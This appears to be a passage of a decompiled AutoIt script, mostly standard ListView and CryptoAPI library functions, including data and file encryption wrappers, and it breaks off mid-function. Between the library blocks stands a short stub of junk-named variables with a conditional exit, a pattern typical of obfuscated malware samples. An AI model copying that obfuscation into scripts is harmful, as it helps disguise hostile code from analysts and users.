  7423. Func _guictrllistview_setitemstateimage($hwnd, $iindex, $iimage)
  7424.     Return _guictrllistview_setitemstate($hwnd, $iindex, BitShift($iimage, -12), $lvis_stateimagemask)
  7425. EndFunc
  7426.  
  7427. Func _guictrllistview_setitemtext($hwnd, $iindex, $stext, $isubitem = 0)
  7428.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7429.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  7430.     Local $iret
  7431.     If $isubitem = -1 Then
  7432.         Local $separatorchar = Opt("GUIDataSeparatorChar")
  7433.         Local $i_cols = _guictrllistview_getcolumncount($hwnd)
  7434.         Local $a_text = StringSplit($stext, $separatorchar)
  7435.         If $i_cols > $a_text[0] Then $i_cols = $a_text[0]
  7436.         For $i = 1 To $i_cols
  7437.             $iret = _guictrllistview_setitemtext($hwnd, $iindex, $a_text[$i], $i - 1)
  7438.             If NOT $iret Then ExitLoop
  7439.         Next
  7440.         Return $iret
  7441.     EndIf
  7442.     Local $ibuffer = StringLen($stext) + 1
  7443.     Local $tbuffer
  7444.     If $funicode Then
  7445.         $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
  7446.         $ibuffer *= 2
  7447.     Else
  7448.         $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
  7449.     EndIf
  7450.     Local $pbuffer = DllStructGetPtr($tbuffer)
  7451.     Local $titem = DllStructCreate($taglvitem)
  7452.     DllStructSetData($tbuffer, "Text", $stext)
  7453.     DllStructSetData($titem, "Mask", $lvif_text)
  7454.     DllStructSetData($titem, "item", $iindex)
  7455.     DllStructSetData($titem, "SubItem", $isubitem)
  7456.     If IsHWnd($hwnd) Then
  7457.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  7458.             DllStructSetData($titem, "Text", $pbuffer)
  7459.             $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $titem, 0, "wparam", "struct*")
  7460.         Else
  7461.             Local $iitem = DllStructGetSize($titem)
  7462.             Local $tmemmap
  7463.             Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
  7464.             Local $ptext = $pmemory + $iitem
  7465.             DllStructSetData($titem, "Text", $ptext)
  7466.             _memwrite($tmemmap, $titem, $pmemory, $iitem)
  7467.             _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
  7468.             If $funicode Then
  7469.                 $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $pmemory, 0, "wparam", "ptr")
  7470.             Else
  7471.                 $iret = _sendmessage($hwnd, $lvm_setitema, 0, $pmemory, 0, "wparam", "ptr")
  7472.             EndIf
  7473.             _memfree($tmemmap)
  7474.         EndIf
  7475.     Else
  7476.         Local $pitem = DllStructGetPtr($titem)
  7477.         DllStructSetData($titem, "Text", $pbuffer)
  7478.         If $funicode Then
  7479.             $iret = GUICtrlSendMsg($hwnd, $lvm_setitemw, 0, $pitem)
  7480.         Else
  7481.             $iret = GUICtrlSendMsg($hwnd, $lvm_setitema, 0, $pitem)
  7482.         EndIf
  7483.     EndIf
  7484.     Return $iret <> 0
  7485. EndFunc
  7486.  
  7487. Func _guictrllistview_setoutlinecolor($hwnd, $icolor)
  7488.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7489.     If IsHWnd($hwnd) Then
  7490.         Return _sendmessage($hwnd, $lvm_setoutlinecolor, 0, $icolor)
  7491.     Else
  7492.         Return GUICtrlSendMsg($hwnd, $lvm_setoutlinecolor, 0, $icolor)
  7493.     EndIf
  7494. EndFunc
  7495.  
  7496. Func _guictrllistview_setselectedcolumn($hwnd, $icol)
  7497.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7498.     If IsHWnd($hwnd) Then
  7499.         _sendmessage($hwnd, $lvm_setselectedcolumn, $icol)
  7500.         _winapi_invalidaterect($hwnd)
  7501.     Else
  7502.         GUICtrlSendMsg($hwnd, $lvm_setselectedcolumn, $icol, 0)
  7503.         _winapi_invalidaterect(GUICtrlGetHandle($hwnd))
  7504.     EndIf
  7505. EndFunc
  7506.  
  7507. Func _guictrllistview_setselectionmark($hwnd, $iindex)
  7508.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7509.     If IsHWnd($hwnd) Then
  7510.         Return _sendmessage($hwnd, $lvm_setselectionmark, 0, $iindex)
  7511.     Else
  7512.         Return GUICtrlSendMsg($hwnd, $lvm_setselectionmark, 0, $iindex)
  7513.     EndIf
  7514. EndFunc
  7515.  
  7516. Func _guictrllistview_settextbkcolor($hwnd, $icolor)
  7517.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7518.     If IsHWnd($hwnd) Then
  7519.         Return _sendmessage($hwnd, $lvm_settextbkcolor, 0, $icolor) <> 0
  7520.     Else
  7521.         Return GUICtrlSendMsg($hwnd, $lvm_settextbkcolor, 0, $icolor) <> 0
  7522.     EndIf
  7523. EndFunc
  7524.  
  7525. Func _guictrllistview_settextcolor($hwnd, $icolor)
  7526.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7527.     Local $iret
  7528.     If IsHWnd($hwnd) Then
  7529.         $iret = _sendmessage($hwnd, $lvm_settextcolor, 0, $icolor)
  7530.         _winapi_invalidaterect($hwnd)
  7531.     Else
  7532.         $iret = GUICtrlSendMsg($hwnd, $lvm_settextcolor, 0, $icolor)
  7533.         _winapi_invalidaterect(GUICtrlGetHandle($hwnd))
  7534.     EndIf
  7535.     Return $iret <> 0
  7536. EndFunc
  7537.  
  7538. Func _guictrllistview_settooltips($hwnd, $htooltip)
  7539.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7540.     If IsHWnd($hwnd) Then
  7541.         Return _sendmessage($hwnd, $lvm_settooltips, 0, $htooltip, 0, "wparam", "hwnd", "hwnd")
  7542.     Else
  7543.         Return HWnd(GUICtrlSendMsg($hwnd, $lvm_settooltips, 0, $htooltip))
  7544.     EndIf
  7545. EndFunc
  7546.  
  7547. Func _guictrllistview_setunicodeformat($hwnd, $funicode)
  7548.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7549.     If IsHWnd($hwnd) Then
  7550.         Return _sendmessage($hwnd, $lvm_setunicodeformat, $funicode)
  7551.     Else
  7552.         Return GUICtrlSendMsg($hwnd, $lvm_setunicodeformat, $funicode, 0)
  7553.     EndIf
  7554. EndFunc
  7555.  
  7556. Func _guictrllistview_setview($hwnd, $iview)
  7557.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7558.     Local $aview[5] = [$lv_view_details, $lv_view_icon, $lv_view_list, $lv_view_smallicon, $lv_view_tile]
  7559.     If IsHWnd($hwnd) Then
  7560.         Return _sendmessage($hwnd, $lvm_setview, $aview[$iview]) <> -1
  7561.     Else
  7562.         Return GUICtrlSendMsg($hwnd, $lvm_setview, $aview[$iview], 0) <> -1
  7563.     EndIf
  7564. EndFunc
  7565.  
  7566. Func _guictrllistview_setworkareas($hwnd, $ileft, $itop, $iright, $ibottom)
  7567.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7568.     Local $trect = DllStructCreate($tagrect)
  7569.     DllStructSetData($trect, "Left", $ileft)
  7570.     DllStructSetData($trect, "Top", $itop)
  7571.     DllStructSetData($trect, "Right", $iright)
  7572.     DllStructSetData($trect, "Bottom", $ibottom)
  7573.     If IsHWnd($hwnd) Then
  7574.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  7575.             _sendmessage($hwnd, $lvm_setworkareas, 1, $trect, 0, "wparam", "struct*")
  7576.         Else
  7577.             Local $irect = DllStructGetSize($trect)
  7578.             Local $tmemmap
  7579.             Local $pmemory = _meminit($hwnd, $irect, $tmemmap)
  7580.             _memwrite($tmemmap, $trect, $pmemory, $irect)
  7581.             _sendmessage($hwnd, $lvm_setworkareas, 1, $pmemory, 0, "wparam", "ptr")
  7582.             _memfree($tmemmap)
  7583.         EndIf
  7584.     Else
  7585.         GUICtrlSendMsg($hwnd, $lvm_setworkareas, 1, DllStructGetPtr($trect))
  7586.     EndIf
  7587. EndFunc
  7588.  
  7589. Func _guictrllistview_simplesort($hwnd, ByRef $vdescending, $icol)
  7590.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7591.     If _guictrllistview_getitemcount($hwnd) Then
  7592.         Local $b_desc
  7593.         If (IsArray($vdescending)) Then
  7594.             $b_desc = $vdescending[$icol]
  7595.         Else
  7596.             $b_desc = $vdescending
  7597.         EndIf
  7598.         Local $columns = _guictrllistview_getcolumncount($hwnd)
  7599.         Local $items = _guictrllistview_getitemcount($hwnd)
  7600.         Local $temp_item = ""
  7601.         Local $separatorchar = Opt("GUIDataSeparatorChar")
  7602.         For $x = 1 To $columns
  7603.             $temp_item = $temp_item & " " & $separatorchar
  7604.         Next
  7605.         $temp_item = StringTrimRight($temp_item, 1)
  7606.         Local $a_lv[$items][$columns + 1]
  7607.         Local $i_selected = StringSplit(_guictrllistview_getselectedindices($hwnd), $separatorchar)
  7608.         Local $i_checked = StringSplit(__guictrllistview_getcheckedindices($hwnd), $separatorchar)
  7609.         Local $v_item, $ifocused = -1
  7610.         For $x = 0 To UBound($a_lv) - 1 Step 1
  7611.             If $ifocused = -1 Then
  7612.                 If _guictrllistview_getitemfocused($hwnd, $x) Then $ifocused = $x
  7613.             EndIf
  7614.             _guictrllistview_setitemselected($hwnd, $x, False)
  7615.             _guictrllistview_setitemchecked($hwnd, $x, False)
  7616.             For $y = 0 To UBound($a_lv, 2) - 2 Step 1
  7617.                 $v_item = StringStripWS(_guictrllistview_getitemtext($hwnd, $x, $y), 2)
  7618.                 If (StringIsFloat($v_item) OR StringIsInt($v_item)) Then
  7619.                     $a_lv[$x][$y] = Number($v_item)
  7620.                 Else
  7621.                     $a_lv[$x][$y] = $v_item
  7622.                 EndIf
  7623.             Next
  7624.             $a_lv[$x][$y] = $x
  7625.         Next
  7626.         _arraysort($a_lv, $b_desc, 0, 0, $icol)
  7627.         For $x = 0 To UBound($a_lv) - 1 Step 1
  7628.             For $y = 0 To UBound($a_lv, 2) - 2 Step 1
  7629.                 _guictrllistview_setitemtext($hwnd, $x, $a_lv[$x][$y], $y)
  7630.             Next
  7631.             For $z = 1 To $i_selected[0]
  7632.                 If $a_lv[$x][UBound($a_lv, 2) - 1] = $i_selected[$z] Then
  7633.                     If $a_lv[$x][UBound($a_lv, 2) - 1] = $ifocused Then
  7634.                         _guictrllistview_setitemselected($hwnd, $x, True, True)
  7635.                     Else
  7636.                         _guictrllistview_setitemselected($hwnd, $x, True)
  7637.                     EndIf
  7638.                     ExitLoop
  7639.                 EndIf
  7640.             Next
  7641.             For $z = 1 To $i_checked[0]
  7642.                 If $a_lv[$x][UBound($a_lv, 2) - 1] = $i_checked[$z] Then
  7643.                     _guictrllistview_setitemchecked($hwnd, $x, True)
  7644.                     ExitLoop
  7645.                 EndIf
  7646.             Next
  7647.         Next
  7648.         If (IsArray($vdescending)) Then
  7649.             $vdescending[$icol] = NOT $b_desc
  7650.         Else
  7651.             $vdescending = NOT $b_desc
  7652.         EndIf
  7653.     EndIf
  7654. EndFunc
  7655.  
  7656. Func __guictrllistview_sort($nitem1, $nitem2, $hwnd)
  7657.     Local $iindex, $tinfo, $val1, $val2, $nresult
  7658.     $tinfo = DllStructCreate($taglvfindinfo)
  7659.     DllStructSetData($tinfo, "Flags", $lvfi_param)
  7660.     For $x = 1 To $alistviewsortinfo[0][0]
  7661.         If $hwnd = $alistviewsortinfo[$x][1] Then
  7662.             $iindex = $x
  7663.             ExitLoop
  7664.         EndIf
  7665.     Next
  7666.     If $alistviewsortinfo[$iindex][3] = $alistviewsortinfo[$iindex][4] Then
  7667.         If NOT $alistviewsortinfo[$iindex][7] Then
  7668.             $alistviewsortinfo[$iindex][5] *= -1
  7669.             $alistviewsortinfo[$iindex][7] = 1
  7670.         EndIf
  7671.     Else
  7672.         $alistviewsortinfo[$iindex][7] = 1
  7673.     EndIf
  7674.     $alistviewsortinfo[$iindex][6] = $alistviewsortinfo[$iindex][3]
  7675.     DllStructSetData($tinfo, "Param", $nitem1)
  7676.     $val1 = _guictrllistview_finditem($hwnd, -1, $tinfo)
  7677.     DllStructSetData($tinfo, "Param", $nitem2)
  7678.     $val2 = _guictrllistview_finditem($hwnd, -1, $tinfo)
  7679.     $val1 = _guictrllistview_getitemtext($hwnd, $val1, $alistviewsortinfo[$iindex][3])
  7680.     $val2 = _guictrllistview_getitemtext($hwnd, $val2, $alistviewsortinfo[$iindex][3])
  7681.     If $alistviewsortinfo[$iindex][8] Then
  7682.         If (StringIsFloat($val1) OR StringIsInt($val1)) Then $val1 = Number($val1)
  7683.         If (StringIsFloat($val2) OR StringIsInt($val2)) Then $val2 = Number($val2)
  7684.     EndIf
  7685.     $nresult = 0
  7686.     If $val1 < $val2 Then
  7687.         $nresult = -1
  7688.     ElseIf $val1 > $val2 Then
  7689.         $nresult = 1
  7690.     EndIf
  7691.     $nresult = $nresult * $alistviewsortinfo[$iindex][5]
  7692.     Return $nresult
  7693. EndFunc
  7694.  
  7695. Func _guictrllistview_sortitems($hwnd, $icol)
  7696.     Local $iret, $iindex, $pfunction, $hheader, $iformat
  7697.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  7698.     For $x = 1 To $alistviewsortinfo[0][0]
  7699.         If $hwnd = $alistviewsortinfo[$x][1] Then
  7700.             $iindex = $x
  7701.             ExitLoop
  7702.         EndIf
  7703.     Next
  7704.     $pfunction = DllCallbackGetPtr($alistviewsortinfo[$iindex][2])
  7705.     $alistviewsortinfo[$iindex][3] = $icol
  7706.     $alistviewsortinfo[$iindex][7] = 0
  7707.     $alistviewsortinfo[$iindex][4] = $alistviewsortinfo[$iindex][6]
  7708.     $iret = _sendmessage($hwnd, $lvm_sortitems, $hwnd, $pfunction, 0, "hwnd", "ptr")
  7709.     If $iret <> 0 Then
  7710.         If $alistviewsortinfo[$iindex][9] Then
  7711.             $hheader = $alistviewsortinfo[$iindex][10]
  7712.             For $x = 0 To _guictrlheader_getitemcount($hheader) - 1
  7713.                 $iformat = _guictrlheader_getitemformat($hheader, $x)
  7714.                 If BitAND($iformat, $hdf_sortdown) Then
  7715.                     _guictrlheader_setitemformat($hheader, $x, BitXOR($iformat, $hdf_sortdown))
  7716.                 ElseIf BitAND($iformat, $hdf_sortup) Then
  7717.                     _guictrlheader_setitemformat($hheader, $x, BitXOR($iformat, $hdf_sortup))
  7718.                 EndIf
  7719.             Next
  7720.             $iformat = _guictrlheader_getitemformat($hheader, $icol)
  7721.             If $alistviewsortinfo[$iindex][5] = 1 Then
  7722.                 _guictrlheader_setitemformat($hheader, $icol, BitOR($iformat, $hdf_sortup))
  7723.             Else
  7724.                 _guictrlheader_setitemformat($hheader, $icol, BitOR($iformat, $hdf_sortdown))
  7725.             EndIf
  7726.         EndIf
  7727.     EndIf
  7728.     Return $iret <> 0
  7729. EndFunc
  7730.  
  7731. Func __guictrllistview_stateimagemasktoindex($imask)
  7732.     Return BitShift(BitAND($imask, $lvis_stateimagemask), 12)
  7733. EndFunc
  7734.  
  7735. Func _guictrllistview_subitemhittest($hwnd, $ix = -1, $iy = -1)
  7736.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7737.     Local $itest, $ttest, $pmemory, $tmemmap, $iflags, $atest[11]
  7738.     If $ix = -1 Then $ix = _winapi_getmouseposx(True, $hwnd)
  7739.     If $iy = -1 Then $iy = _winapi_getmouseposy(True, $hwnd)
  7740.     $ttest = DllStructCreate($taglvhittestinfo)
  7741.     DllStructSetData($ttest, "X", $ix)
  7742.     DllStructSetData($ttest, "Y", $iy)
  7743.     If IsHWnd($hwnd) Then
  7744.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  7745.             _sendmessage($hwnd, $lvm_subitemhittest, 0, $ttest, 0, "wparam", "struct*")
  7746.         Else
  7747.             $itest = DllStructGetSize($ttest)
  7748.             $pmemory = _meminit($hwnd, $itest, $tmemmap)
  7749.             _memwrite($tmemmap, $ttest)
  7750.             _sendmessage($hwnd, $lvm_subitemhittest, 0, $pmemory, 0, "wparam", "ptr")
  7751.             _memread($tmemmap, $pmemory, $ttest, $itest)
  7752.             _memfree($tmemmap)
  7753.         EndIf
  7754.     Else
  7755.         GUICtrlSendMsg($hwnd, $lvm_subitemhittest, 0, DllStructGetPtr($ttest))
  7756.     EndIf
  7757.     $iflags = DllStructGetData($ttest, "Flags")
  7758.     $atest[0] = DllStructGetData($ttest, "Item")
  7759.     $atest[1] = DllStructGetData($ttest, "SubItem")
  7760.     $atest[2] = BitAND($iflags, $lvht_nowhere) <> 0
  7761.     $atest[3] = BitAND($iflags, $lvht_onitemicon) <> 0
  7762.     $atest[4] = BitAND($iflags, $lvht_onitemlabel) <> 0
  7763.     $atest[5] = BitAND($iflags, $lvht_onitemstateicon) <> 0
  7764.     $atest[6] = BitAND($iflags, $lvht_onitem) <> 0
  7765.     $atest[7] = BitAND($iflags, $lvht_above) <> 0
  7766.     $atest[8] = BitAND($iflags, $lvht_below) <> 0
  7767.     $atest[9] = BitAND($iflags, $lvht_toleft) <> 0
  7768.     $atest[10] = BitAND($iflags, $lvht_toright) <> 0
  7769.     Return $atest
  7770. EndFunc
  7771.  
  7772. Func _guictrllistview_unregistersortcallback($hwnd)
  7773.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  7774.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  7775.     For $x = 1 To $alistviewsortinfo[0][0]
  7776.         If $hwnd = $alistviewsortinfo[$x][1] Then
  7777.             DllCallbackFree($alistviewsortinfo[$x][2])
  7778.             __guictrllistview_arraydelete($alistviewsortinfo, $x)
  7779.             $alistviewsortinfo[0][0] -= 1
  7780.             ExitLoop
  7781.         EndIf
  7782.     Next
  7783. EndFunc
  7784.  
  7785. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  7786. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  7787. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  7788.     Exit
  7789. Else
  7790. EndIf
  7791. Global Const $prov_rsa_full = 1
  7792. Global Const $prov_rsa_aes = 24
  7793. Global Const $crypt_verifycontext = -268435456
  7794. Global Const $hp_hashsize = 4
  7795. Global Const $hp_hashval = 2
  7796. Global Const $crypt_exportable = 1
  7797. Global Const $crypt_userdata = 1
  7798. Global Const $calg_md2 = 32769
  7799. Global Const $calg_md4 = 32770
  7800. Global Const $calg_md5 = 32771
  7801. Global Const $calg_sha1 = 32772
  7802. Global Const $calg_3des = 26115
  7803. Global Const $calg_aes_128 = 26126
  7804. Global Const $calg_aes_192 = 26127
  7805. Global Const $calg_aes_256 = 26128
  7806. Global Const $calg_des = 26113
  7807. Global Const $calg_rc2 = 26114
  7808. Global Const $calg_rc4 = 26625
  7809. Global Const $calg_userkey = 0
  7810. Global $__g_acryptinternaldata[3]
  7811.  
  7812. Func _crypt_startup()
  7813.     If __crypt_refcount() = 0 Then
  7814.         Local $hadvapi32 = DllOpen("Advapi32.dll")
  7815.         If @error Then Return SetError(1, 0, False)
  7816.         __crypt_dllhandleset($hadvapi32)
  7817.         Local $aret
  7818.         Local $iproviderid = $prov_rsa_aes
  7819.         If @OSVersion = "WIN_2000" Then $iproviderid = $prov_rsa_full
  7820.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $iproviderid, "dword", $crypt_verifycontext)
  7821.         If @error OR NOT $aret[0] Then
  7822.             DllClose(__crypt_dllhandle())
  7823.             Return SetError(2, 0, False)
  7824.         Else
  7825.             __crypt_contextset($aret[1])
  7826.         EndIf
  7827.     EndIf
  7828.     __crypt_refcountinc()
  7829.     Return True
  7830. EndFunc
  7831.  
  7832. Func _crypt_shutdown()
  7833.     __crypt_refcountdec()
  7834.     If __crypt_refcount() = 0 Then
  7835.         DllCall(__crypt_dllhandle(), "bool", "CryptReleaseContext", "handle", __crypt_context(), "dword", 0)
  7836.         DllClose(__crypt_dllhandle())
  7837.     EndIf
  7838. EndFunc
  7839.  
  7840. Func _crypt_derivekey($vpassword, $ialg_id, $ihash_alg_id = $calg_md5)
  7841.     Local $aret
  7842.     Local $hcrypthash
  7843.     Local $hbuff
  7844.     Local $ierror
  7845.     Local $vreturn
  7846.     _crypt_startup()
  7847.     Do
  7848.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ihash_alg_id, "ptr", 0, "dword", 0, "handle*", 0)
  7849.         If @error OR NOT $aret[0] Then
  7850.             $ierror = 1
  7851.             $vreturn = -1
  7852.             ExitLoop
  7853.         EndIf
  7854.         $hcrypthash = $aret[5]
  7855.         $hbuff = DllStructCreate("byte[" & BinaryLen($vpassword) & "]")
  7856.         DllStructSetData($hbuff, 1, $vpassword)
  7857.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
  7858.         If @error OR NOT $aret[0] Then
  7859.             $ierror = 2
  7860.             $vreturn = -1
  7861.             ExitLoop
  7862.         EndIf
  7863.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDeriveKey", "handle", __crypt_context(), "uint", $ialg_id, "handle", $hcrypthash, "dword", $crypt_exportable, "handle*", 0)
  7864.         If @error OR NOT $aret[0] Then
  7865.             $ierror = 3
  7866.             $vreturn = -1
  7867.             ExitLoop
  7868.         EndIf
  7869.         $ierror = 0
  7870.         $vreturn = $aret[5]
  7871.     Until True
  7872.     If $hcrypthash <> 0 Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
  7873.     Return SetError($ierror, 0, $vreturn)
  7874. EndFunc
  7875.  
  7876. Func _crypt_destroykey($hcryptkey)
  7877.     Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDestroyKey", "handle", $hcryptkey)
  7878.     Local $nerror = @error
  7879.     _crypt_shutdown()
  7880.     If $nerror OR NOT $aret[0] Then
  7881.         Return SetError(1, 0, False)
  7882.     Else
  7883.         Return SetError(0, 0, True)
  7884.     EndIf
  7885. EndFunc
  7886.  
  7887. Func _crypt_encryptdata($vdata, $vcryptkey, $ialg_id, $ffinal = True)
  7888.     Local $hbuff
  7889.     Local $ierror
  7890.     Local $vreturn
  7891.     Local $reqbuffsize
  7892.     Local $aret
  7893.     _crypt_startup()
  7894.     Do
  7895.         If $ialg_id <> $calg_userkey Then
  7896.             $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
  7897.             If @error Then
  7898.                 $ierror = 1
  7899.                 $vreturn = -1
  7900.                 ExitLoop
  7901.             EndIf
  7902.         EndIf
  7903.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "ptr", 0, "dword*", BinaryLen($vdata), "dword", 0)
  7904.         If @error OR NOT $aret[0] Then
  7905.             $ierror = 2
  7906.             $vreturn = -1
  7907.             ExitLoop
  7908.         EndIf
  7909.         $reqbuffsize = $aret[6]
  7910.         $hbuff = DllStructCreate("byte[" & $reqbuffsize & "]")
  7911.         DllStructSetData($hbuff, 1, $vdata)
  7912.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata), "dword", DllStructGetSize($hbuff))
  7913.         If @error OR NOT $aret[0] Then
  7914.             $ierror = 3
  7915.             $vreturn = -1
  7916.             ExitLoop
  7917.         EndIf
  7918.         $ierror = 0
  7919.         $vreturn = DllStructGetData($hbuff, 1)
  7920.     Until True
  7921.     If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  7922.     _crypt_shutdown()
  7923.     Return SetError($ierror, 0, $vreturn)
  7924. EndFunc
  7925.  
  7926. Func _crypt_decryptdata($vdata, $vcryptkey, $ialg_id, $ffinal = True)
  7927.     Local $hbuff
  7928.     Local $ierror
  7929.     Local $vreturn
  7930.     Local $htempstruct
  7931.     Local $iplaintextsize
  7932.     Local $aret
  7933.     _crypt_startup()
  7934.     Do
  7935.         If $ialg_id <> $calg_userkey Then
  7936.             $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
  7937.             If @error Then
  7938.                 $ierror = 1
  7939.                 $vreturn = -1
  7940.                 ExitLoop
  7941.             EndIf
  7942.         EndIf
  7943.         $hbuff = DllStructCreate("byte[" & BinaryLen($vdata) + 1000 & "]")
  7944.         DllStructSetData($hbuff, 1, $vdata)
  7945.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDecrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata))
  7946.         If @error OR NOT $aret[0] Then
  7947.             $ierror = 2
  7948.             $vreturn = -1
  7949.             ExitLoop
  7950.         EndIf
  7951.         $iplaintextsize = $aret[6]
  7952.         $htempstruct = DllStructCreate("byte[" & $iplaintextsize & "]", DllStructGetPtr($hbuff))
  7953.         $ierror = 0
  7954.         $vreturn = DllStructGetData($htempstruct, 1)
  7955.     Until True
  7956.     If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  7957.     _crypt_shutdown()
  7958.     Return SetError($ierror, 0, $vreturn)
  7959. EndFunc
  7960.  
  7961. Func _crypt_hashdata($vdata, $ialg_id, $ffinal = True, $hcrypthash = 0)
  7962.     Local $ierror
  7963.     Local $vreturn = 0
  7964.     Local $ihashsize
  7965.     Local $aret
  7966.     Local $hbuff = 0
  7967.     _crypt_startup()
  7968.     Do
  7969.         If $hcrypthash = 0 Then
  7970.             $aret = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ialg_id, "ptr", 0, "dword", 0, "handle*", 0)
  7971.             If @error OR NOT $aret[0] Then
  7972.                 $ierror = 1
  7973.                 $vreturn = -1
  7974.                 ExitLoop
  7975.             EndIf
  7976.             $hcrypthash = $aret[5]
  7977.         EndIf
  7978.         $hbuff = DllStructCreate("byte[" & BinaryLen($vdata) & "]")
  7979.         DllStructSetData($hbuff, 1, $vdata)
  7980.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
  7981.         If @error OR NOT $aret[0] Then
  7982.             $ierror = 2
  7983.             $vreturn = -1
  7984.             ExitLoop
  7985.         EndIf
  7986.         If $ffinal Then
  7987.             $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashsize, "dword*", 0, "dword*", 4, "dword", 0)
  7988.             If @error OR NOT $aret[0] Then
  7989.                 $ierror = 3
  7990.                 $vreturn = -1
  7991.                 ExitLoop
  7992.             EndIf
  7993.             $ihashsize = $aret[3]
  7994.             $hbuff = DllStructCreate("byte[" & $ihashsize & "]")
  7995.             $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashval, "struct*", $hbuff, "dword*", DllStructGetSize($hbuff), "dword", 0)
  7996.             If @error OR NOT $aret[0] Then
  7997.                 $ierror = 4
  7998.                 $vreturn = -1
  7999.                 ExitLoop
  8000.             EndIf
  8001.             $ierror = 0
  8002.             $vreturn = DllStructGetData($hbuff, 1)
  8003.         Else
  8004.             $vreturn = $hcrypthash
  8005.         EndIf
  8006.     Until True
  8007.     If $hcrypthash <> 0 AND $ffinal Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
  8008.     _crypt_shutdown()
  8009.     Return SetError($ierror, 0, $vreturn)
  8010. EndFunc
  8011.  
  8012. Func _crypt_hashfile($sfile, $ialg_id)
  8013.     Local $hfile
  8014.     Local $ierror, $vreturn
  8015.     Local $hhashobject = 0
  8016.     Local $btempdata
  8017.     _crypt_startup()
  8018.     Do
  8019.         $hfile = FileOpen($sfile, 16)
  8020.         If $hfile = -1 Then
  8021.             $ierror = 1
  8022.             $vreturn = -1
  8023.             ExitLoop
  8024.         EndIf
  8025.         Do
  8026.             $btempdata = FileRead($hfile, 512 * 1024)
  8027.             If @error Then
  8028.                 $vreturn = _crypt_hashdata($btempdata, $ialg_id, True, $hhashobject)
  8029.                 If @error Then
  8030.                     $vreturn = -1
  8031.                     $ierror = 2
  8032.                     ExitLoop 2
  8033.                 EndIf
  8034.                 ExitLoop 2
  8035.             Else
  8036.                 $hhashobject = _crypt_hashdata($btempdata, $ialg_id, False, $hhashobject)
  8037.                 If @error Then
  8038.                     $vreturn = -1
  8039.                     $ierror = 3
  8040.                     ExitLoop 2
  8041.                 EndIf
  8042.             EndIf
  8043.         Until False
  8044.     Until True
  8045.     _crypt_shutdown()
  8046.     If $hfile <> -1 Then FileClose($hfile)
  8047.     Return SetError($ierror, 0, $vreturn)
  8048. EndFunc
  8049.  
  8050. Func _crypt_encryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id)
  8051.     Local $hinfile, $houtfile
  8052.     Local $ierror = 0, $vreturn = True
  8053.     Local $btempdata
  8054.     Local $ifilesize = FileGetSize($ssourcefile)
  8055.     Local $iread = 0
  8056.     _crypt_startup()
  8057.     Do
  8058.         If $ialg_id <> $calg_userkey Then
  8059.             $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
  8060.             If @error Then
  8061.                 $ierror = 1
